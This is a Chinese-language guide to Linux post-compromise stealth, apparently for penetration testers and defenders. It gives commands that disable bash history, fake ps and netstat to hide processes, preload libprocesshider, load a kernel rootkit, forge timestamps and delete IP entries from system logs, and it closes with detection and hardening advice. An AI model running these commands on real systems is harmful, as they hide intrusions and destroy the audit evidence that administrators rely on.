Linux 隐匿技术
字数 2457 2025-08-24 07:48:33
Linux 隐匿技术全面指南
前言
本文详细整理Linux系统中的各种隐匿技术,涵盖历史命令隐藏、SSH隐匿、进程隐藏、文件隐藏和痕迹清理等多个方面。适用于安全研究、渗透测试和系统管理等领域,帮助理解Linux系统的安全特性和潜在风险。
一、Linux历史命令隐匿
1.1 历史命令处理机制
- CentOS和Ubuntu差异:不同发行版对历史命令的处理逻辑不同
- bash shell工作流程:
- 打开shell时读取
.bash_history到内存 - 执行命令时追加到内存中的历史记录列表
- 关闭shell时将内存记录写入
.bash_history
- 打开shell时读取
1.2 关键环境变量
| 变量 | 作用 |
|---|---|
| HISTFILE | 历史命令记录文件位置 |
| HISTFILESIZE | 历史记录文件最大行数 |
| HISTSIZE | 会话中历史命令最大行数 |
| HISTIGNORE | 忽略的命令列表 |
| HISTCONTROL | 历史记录保存策略 |
HISTCONTROL选项:
ignoredups:忽略重复命令(默认)ignorespace:忽略以空格开头的命令ignoreboth:同时忽略重复和空格开头的命令erasedups:删除历史记录中的重复命令
1.3 不记录历史命令的方法
1.3.1 临时禁用历史记录
set +o history # 禁用
set -o history # 启用
1.3.2 命令前插入空格
[SPACE]command
注意:仅当HISTCONTROL包含ignorespace或ignoreboth时有效
1.3.3 修改环境变量
export HISTSIZE=0 # 设置历史记录条数为0
export HISTFILE=/dev/null # 将历史记录指向空设备
unset HISTFILE # 取消历史记录文件
1.4 清除历史命令
1.4.1 清除当前shell历史
history -cw # 清空内存和文件中的历史
1.4.2 选择性删除
history -d 3 # 删除第3条记录
sed -i '150,$d' ~/.bash_history # 删除150行到最后
1.5 发行版差异总结
| 方法 | Ubuntu 18.04 | CentOS 7 |
|---|---|---|
set +o history |
完全生效 | 会记录该命令 |
| 空格前缀 | 有效 | 无效(默认无ignorespace) |
HISTSIZE=0 |
完全生效 | 仅后续命令不记录 |
HISTFILE=/dev/null |
完全生效 | 仅后续命令不记录 |
推荐组合方案:
export HISTSIZE=0
export HISTFILE=/dev/null
export HISTCONTROL=ignoreboth
[SPACE]set +o history
[SPACE]history -cw
二、Linux SSH隐匿技术
2.1 不登录执行命令
2.1.1 执行单个命令
ssh user@host "command"
2.1.2 执行多个命令
ssh user@host "cmd1 && cmd2"
ssh user@host "cmd1 ; cmd2"
2.1.3 执行本地脚本
ssh user@host "bash -s" < local_script.sh
特点:不分配交互式shell,不记录到.bash_history,不被last捕获
2.2 禁用伪终端分配
ssh -T user@host /bin/bash -i
特点:
- 不被
w、who、last检测 - 仍会被
netstat、ps检测 - 关闭后命令会写入
.bash_history - 登录信息会被
last捕获
三、Linux进程隐匿技术
3.1 伪造系统命令
3.1.1 伪造ps命令
- 查找原始ps路径:
which ps # 通常为/usr/bin/ps
- 创建伪造ps(如/usr/local/bin/ps):
#!/bin/bash
/usr/bin/ps $@ | grep -Ev 'process_to_hide'
- 设置权限:
chmod +x /usr/local/bin/ps
注意:需确保/usr/local/bin在PATH中优先级高于/usr/bin
3.1.2 伪造netstat命令
类似ps伪造方法:
#!/bin/bash
/usr/bin/netstat $@ | grep -Ev 'port_or_process_to_hide'
3.2 LD_PRELOAD技术
使用libprocesshider项目:
git clone https://github.com/gianlucaborello/libprocesshider.git
cd libprocesshider && make
sudo mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
原理:通过预加载库hook系统调用
3.3 Rootkit隐藏
使用linux_kernel_hacking项目:
git clone https://github.com/xcellerator/linux_kernel_hacking
cd linux_kernel_hacking
make
insmod rootkit.ko # 加载模块
kill -64 PID # 隐藏指定PID
rmmod rootkit # 卸载模块
特点:
- 通过内核模块hook系统调用
- 进程名和PID被隐藏,但网络连接仍可见
- 适用于Linux内核>5.7版本
四、Linux文件隐匿技术
4.1 基础隐藏方法
4.1.1 隐藏目录和文件
mkdir /tmp/.hidden_dir
touch /tmp/.hidden_dir/.hidden_file
常见隐藏目录:
/tmp/.X11-unix/tmp/.ICE-unix/tmp/.XIM-unix
4.1.2 修改文件权限
chattr +i file # 锁定文件防止删除
lsattr file # 查看文件属性
chattr -i file # 解除锁定
4.2 Rootkit文件隐藏
使用linux_kernel_hacking项目:
insmod rootkit.ko # 加载模块后,特定文件将被隐藏
特点:文件实际存在但不可见,需通过直接路径访问
4.3 时间戳篡改
4.3.1 指定时间戳
touch -t 2409061654.30 file # 修改为2024-09-06 16:54:30
4.3.2 参考其他文件时间戳
touch -r reference_file target_file
注意:stat命令仍可查看Change Time和Birth Time
五、Linux痕迹清理
5.1 日志清理
5.1.1 删除特定IP记录
sed -i '/IP/d' /var/log/secure
5.1.2 替换IP地址
sed -i 's/real_ip/127.0.0.1/g' /var/log/nginx/access.log
5.2 文件清理
5.2.1 安全删除
shred -zu file # 覆盖后删除
5.2.2 清理临时文件
rm -rf /tmp/malicious_*
六、实验环境与工具
6.1 实验环境
- Ubuntu 18.04
- CentOS 7
6.2 工具集合
七、总结与防御建议
7.1 技术总结表
| 隐匿类型 | 技术手段 | 检测方法 |
|---|---|---|
| 历史命令 | HISTSIZE=0,空格前缀 | 审计环境变量 |
| SSH隐匿 | 非交互式执行,-T参数 | 网络流量分析 |
| 进程隐藏 | LD_PRELOAD,Rootkit | 完整性检查,内核模块审计 |
| 文件隐藏 | 点文件,Rootkit | 直接路径访问,文件系统扫描 |
| 痕迹清理 | sed,shred | 日志聚合,文件恢复 |
7.2 防御建议
-
历史命令监控:
- 定期检查
.bash_history异常 - 监控HIST*环境变量修改
- 定期检查
-
SSH安全加固:
- 启用详细日志记录
- 限制非交互式SSH访问
-
进程完整性检查:
- 使用静态编译的busybox进行进程检查
- 监控
ld.so.preload修改
-
文件系统监控:
- 对/tmp等目录设置inotify监控
- 定期扫描隐藏文件和异常时间戳
-
Rootkit防御:
- 禁用不必要的内核模块加载
- 使用完整性检查工具如rkhunter
-
日志保护:
- 配置日志远程传输
- 设置日志文件不可变属性
通过理解这些隐匿技术,安全人员可以更好地防御潜在威胁,而系统管理员可以加强系统安全配置。